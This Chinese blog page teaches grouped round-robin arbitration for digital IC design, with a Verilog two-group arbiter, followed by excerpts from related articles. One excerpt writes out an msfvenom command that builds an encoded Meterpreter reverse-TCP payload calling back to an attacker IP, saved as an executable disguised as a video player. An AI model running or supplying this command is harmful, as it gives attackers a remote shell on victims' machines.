数字IC前端学习笔记:仲裁轮询(六)

news2024/12/29 10:40:07

相关文章

数字IC前端学习笔记:LSFR(线性反馈移位寄存器)

数字IC前端学习笔记:跨时钟域信号同步

数字IC前端学习笔记:信号同步和边沿检测

数字IC前端学习笔记:锁存器Latch的综合

数字IC前端学习笔记:格雷码(含Verilog实现的二进制格雷码转换器)

数字IC前端学习笔记:FIFO的Verilog实现(一)

数字IC前端学习笔记:FIFO的Verilog实现(二)

数字IC前端学习笔记:仲裁轮询(一)

数字IC前端学习笔记:仲裁轮询(二)

数字IC前端学习笔记:仲裁轮询(三)

数字IC前端学习笔记:仲裁轮询(四)

数字IC前端学习笔记:仲裁轮询(五)


8.分组轮询

        在一些应用中,用户被分成两组:快组和慢组。如下图所示,快组内的用户具有相同的优先级,内部采用公平轮询方式。类似地,慢组内的用户也具有相同优先级,慢组内部也采用公平轮询方式。但快组慢组之间是嵌套的关系,即整个慢组被当做是快组的一个用户。例如,快组有两个用户(A,B),慢组也有两个用户(C,D)。如果所有用户都发出请求,那么轮询序列为:

A,B,C,A,B,D,A,B,C,A,B,D ......

        两组轮询的代码及仿真结果如下。

module arbiter_twogroups(clk, resetb,
                         req_vec_groupa,
                         end_access_vec_groupa,
                         req_vec_groupb,
                         end_access_vec_groupb,
                         gnt_vec_groupa,
                         gnt_vec_groupb);

    input clk;
    input resetb;
    input [1:0] req_vec_groupa;
    input [1:0] end_access_vec_groupa;
    input [1:0] req_vec_groupb;
    input [1:0] end_access_vec_groupb;
    output [1:0] gnt_vec_groupa;
    output [1:0] gnt_vec_groupb;
    
    reg [1:0] arbiter_state, arbiter_state_nxt;
    reg [2:0] gnt_vec, gnt_vec_nxt;
    reg [2:0] relative_req_vec;
    wire any_req_asserted;
    reg [1:0] grant_posn, grant_posn_nxt;
    wire any_req_asserted_slow;
    wire [1:0] gnt_vec_groupa;
    wire [1:0] gnt_vec_groupb;
    reg [1:0] grant_posn_slow, grant_posn_slow_nxt;

    parameter IDLE = 2'b01;
    parameter END_ACCESS = 2'b10;

    
    assign any_req_asserted = (req_vec_groupa != 0) || (req_vec_groupb != 0);
    assign any_req_asserted_slow = (req_vec_groupb != 0);
    assign gnt_vec_groupa = gnt_vec[1:0];
    assign gnt_vec_groupb[0] = gnt_vec[2] & grant_posn_slow[0];
    assign gnt_vec_groupb[1] = gnt_vec[2] & grant_posn_slow[1];
    
    always@(*) begin
        relative_req_vec = {any_req_asserted_slow,
                            req_vec_groupa[1],
                            req_vec_groupa[0]};

        case(grant_posn)
            2'd0: relative_req_vec = {req_vec_groupa[0],
                                      any_req_asserted_slow,
                                      req_vec_groupa[1]};
            2'd1: relative_req_vec = {req_vec_groupa[1],
                                      req_vec_groupa[0],
                                      any_req_asserted_slow};
            2'd2: relative_req_vec = {any_req_asserted_slow,
                                      req_vec_groupa[1],
                                      req_vec_groupa[0]};
        endcase
    end


    always@(*) begin
        arbiter_state_nxt = arbiter_state;
        grant_posn_nxt = grant_posn;
        gnt_vec_nxt = gnt_vec;
        grant_posn_slow_nxt = grant_posn_nxt;

        case(arbiter_state)
            IDLE: begin
                if(((gnt_vec_groupa == 0) && (gnt_vec_groupb == 0))||
                   (end_access_vec_groupa[0] & gnt_vec_groupa[0])  ||
                   (end_access_vec_groupa[1] & gnt_vec_groupa[1])  ||
                   (end_access_vec_groupb[0] & gnt_vec_groupb[0])  ||
                   (end_access_vec_groupb[1] & gnt_vec_groupb[1])) begin
                    if(any_req_asserted)
                        arbiter_state_nxt = END_ACCESS;
                    if(relative_req_vec[0]) begin
                        case(grant_posn)
                            2'd0: gnt_vec_nxt = 3'b010;
                            2'd1:begin
                                gnt_vec_nxt = 3'b100;
                                if(grant_posn_slow[0]) begin
                                    if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;
                                    else if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                end
                                else if(grant_posn_slow[1]) begin
                                    if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                    else if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;                                
                                end 
                            end
                            2'd2: gnt_vec_nxt = 3'b001;
                        endcase
                        case(grant_posn) 
                            2'd0: grant_posn_nxt = 1;
                            2'd1: grant_posn_nxt = 2;
                            2'd2: grant_posn_nxt = 0;
                        endcase
                    end
                    else if(relative_req_vec[1]) begin
                        case(grant_posn)
                            2'd0: begin
                                gnt_vec_nxt = 3'b100;
                                if(grant_posn_slow[0]) begin
                                    if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;
                                    else if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                end
                                else if(grant_posn_slow[1]) begin
                                    if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                    else if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;                                
                                end 
                            end
                            2'd1: gnt_vec_nxt = 3'b001;
                            2'd2: gnt_vec_nxt = 3'b010;
                        endcase
                        case(grant_posn) 
                            2'd0: grant_posn_nxt = 2;
                            2'd1: grant_posn_nxt = 0;
                            2'd2: grant_posn_nxt = 1;
                        endcase
                    end
                    else if(relative_req_vec[2]) begin
                        case(grant_posn)
                            2'd2: begin
                                gnt_vec_nxt = 3'b100;
                                if(grant_posn_slow[0]) begin
                                    if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;
                                    else if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                end
                                else if(grant_posn_slow[1]) begin
                                    if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                    else if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;                                
                                end 
                            end
                            2'd0: gnt_vec_nxt = 3'b001;
                            2'd1: gnt_vec_nxt = 3'b010;
                        endcase
                        case(grant_posn) 
                            2'd0: grant_posn_nxt = 0;
                            2'd1: grant_posn_nxt = 1;
                            2'd2: grant_posn_nxt = 2;
                        endcase
                    end
                end
            end
            END_ACCESS: begin
                if((end_access_vec_groupa[0] & gnt_vec_groupa[0])  ||
                   (end_access_vec_groupa[1] & gnt_vec_groupa[1])  ||
                   (end_access_vec_groupb[0] & gnt_vec_groupb[0])  ||
                   (end_access_vec_groupb[1] & gnt_vec_groupb[1])) begin
                    arbiter_state_nxt = IDLE;
                    if(relative_req_vec[0]) begin
                        case(grant_posn)
                            2'd0: gnt_vec_nxt = 3'b010;
                            2'd1: begin
                                gnt_vec_nxt = 3'b100;
                                if(grant_posn_slow[0]) begin
                                    if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;
                                    else if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                end
                                else if(grant_posn_slow[1]) begin
                                    if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                    else if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;                                
                                end 
                            end
                            2'd2: gnt_vec_nxt = 3'b001;
                        endcase
                        case(grant_posn) 
                            2'd0: grant_posn_nxt = 1;
                            2'd1: grant_posn_nxt = 2;
                            2'd2: grant_posn_nxt = 0;
                        endcase
                    end
                    else if(relative_req_vec[1]) begin
                        case(grant_posn)
                            2'd0: begin
                                gnt_vec_nxt = 3'b100;
                                if(grant_posn_slow[0]) begin
                                    if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;
                                    else if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                end
                                else if(grant_posn_slow[1]) begin
                                    if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                    else if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;                                
                                end 
                            end
                            2'd1: gnt_vec_nxt = 3'b001;
                            2'd2: gnt_vec_nxt = 3'b010;
                        endcase
                        case(grant_posn) 
                            2'd0: grant_posn_nxt = 2;
                            2'd1: grant_posn_nxt = 0;
                            2'd2: grant_posn_nxt = 1;
                        endcase
                    end
                    else if(relative_req_vec[2]) begin
                        case(grant_posn)
                            2'd2: begin
                                gnt_vec_nxt = 3'b100;
                                if(grant_posn_slow[0]) begin
                                    if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;
                                    else if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                end
                                else if(grant_posn_slow[1]) begin
                                    if(req_vec_groupb[0])
                                        grant_posn_slow_nxt = 2'b01;
                                    else if(req_vec_groupb[1])
                                        grant_posn_slow_nxt = 2'b10;                                
                                end 
                            end
                            2'd0: gnt_vec_nxt = 3'b001;
                            2'd1: gnt_vec_nxt = 3'b010;
                        endcase
                        case(grant_posn) 
                            2'd0: grant_posn_nxt = 0;
                            2'd1: grant_posn_nxt = 1;
                            2'd2: grant_posn_nxt = 2;
                        endcase
                    end
                end
            end
        endcase
    end

    always@(posedge clk, negedge resetb) begin
        if(!resetb) begin
            arbiter_state <= IDLE;
            gnt_vec <= 0;
            grant_posn <= 2;
            grant_posn_slow <= 2;
        end
        else begin
            arbiter_state <= arbiter_state_nxt;
            gnt_vec <= gnt_vec_nxt;
            grant_posn <= grant_posn_nxt;
            grant_posn_slow <= grant_posn_slow_nxt;            
        end
    end
endmodule

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693227.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据库学习3

主键使用 主键的使用 CREATE TABLE t17 (id INT PRIMARY KEY ,name VARCHAR(32), email VARCHAR(32)); 主键列的值不可以重复 INSERT INTO t17 VALUES(1,jack,jacksohu.com); INSERT INTO t17 VALUES(2,tom,tomsohu.com); INSERT INTO t17 VALUES(1,hsp,hspsohu.com); SELECT …

《计算机系统与网络安全》 第九章 访问控制技术

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

2022(二等奖)C859基于WebGIS的南京市排污口管理系统

作品介绍 一、需求分析 &#xff08;一&#xff09;社会需求 《国务院办公厅关于加强入河入海排污口监督管理工作的实施意见》明确提出&#xff0c;入河入海排污口(以下简称排污口&#xff09;是指直接或通过管道、沟、渠等排污通道向环境水体排放污水的口门&#xff0c;是流…

Day40

思维导图 练习 定义一个命名空间Myspace&#xff0c;包含以下函数&#xff1a;将一个字符串中的所有单词进行反转&#xff0c;并输出反转后的结果。例如&#xff0c;输入字符串为"Hello World"&#xff0c;输出结果为"olleH dlroW"&#xff0c;并在主函数…

Visual C++中的虚函数和纯虚函数的定义

我是荔园微风&#xff0c;作为一名在IT界整整25年的老兵&#xff0c;今天来说说Visual C中的虚函数和纯虚函数。 直接说虚函数和纯虚函数有很多人会直接晕&#xff0c;但是来看这篇帖子的很多人是有JAVA或其他面象对象编程基础的&#xff0c;我要不就先作个类比&#xff0c;究…

【Java面试题】Java基础——排序算法

文章目录 冒泡排序★★★算法步骤动图演示代码示例 选择排序算法步骤动图演示 插入排序算法步骤动图演示 快速排序算法步骤动图演示 冒泡排序★★★ 冒泡排序&#xff08;Bubble Sort&#xff09;也是一种简单直观的排序算法。 它重复的遍历过要排序的数列&#xff0c;一次比…

Debian 12 “bookworm” 正式发布

经过 1 年 9 个月零 28 天的开发&#xff0c;Debian 项目推出了其新的稳定版本 12&#xff08;代号 bookworm&#xff09;。 Debian 12 包含超过 11,089 个新软件包&#xff0c;总计 64,419 个软件包&#xff0c; 6,296 个软件包已作为过时包删除。此版本更新了 43,254 个软件…

threejs让模型始终面向相机

需求&#xff1a;threejs导入3D模型&#xff0c;改变相机位置的同时&#xff0c;让模型始终面向相机。 实现方式&#xff1a;使用模型的lookAt()方法&#xff0c;设置模型lookAt的值 首次加载模型时&#xff0c;面向相机 load.load(/model5.glb, g > {// 获取相机位置const…

浮点数不再神秘:JS浮点数精度详解

文章目录 I. 引言JS中什么是浮点数为什么精度会受到影响 II. 浮点数精度的问题浮点数精度丢失的例子JS中最常见的浮点数问题精度问题对计算的影响 III. 如何避免浮点数精度问题使用精度库避免精度错误的方法显示控制精度的方法 IV. 浮点数精度问题与前端开发前端开发中的浮点数…

在k8s上部署vue

1. dockerfile镜像文件编写 # 拉取 nginx镜像 FROM nginx:1.24.0# 拷贝 nginx 配置文件到 docker中 COPY nginx.conf /etc/nginx/nginx.conf# 拷贝vue打包后的文件到 docker中 COPY webapp /usr/share/nginx/html# 新增时区设置 RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai…

【FreeRTOS】FreeRTOS 静态创建任务与删除

0. 实验准备 正点原子 STM32407ZG 探索者开发板 FreeRTOS 例程模板&#xff08;可以在这一篇文章找到&#xff1a;STM32F407 移植 FreeRTOS&#xff09; 1. 静态创建任务函数 API 1.1 函数简介 动态创建任务需要使用到BaseType_t xTaskCreate函数&#xff0c;我们可以在 Fr…

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用&#xff1f; 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一&#xff0c;前言二&#xff0c;具体步骤1.软件下载2.环境配置 三&#xff0c;基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一&#xff0c;前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么&#xff1f;&#xff1f;&#xff1f; 天天都能听到Spring&#xff0c;Spring&#xff0c;Spring。这东西到底是什么东西&#xff0c;是一个框架。没错通常所说的 Spring 指的是 Spring Framework&#xff08;Spring 框架&#xff09;&#xff0c;它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3&#xff0c;其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验&#xff0c;使他们能够与智能模型进行即时对话和交互&#xff0c;从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…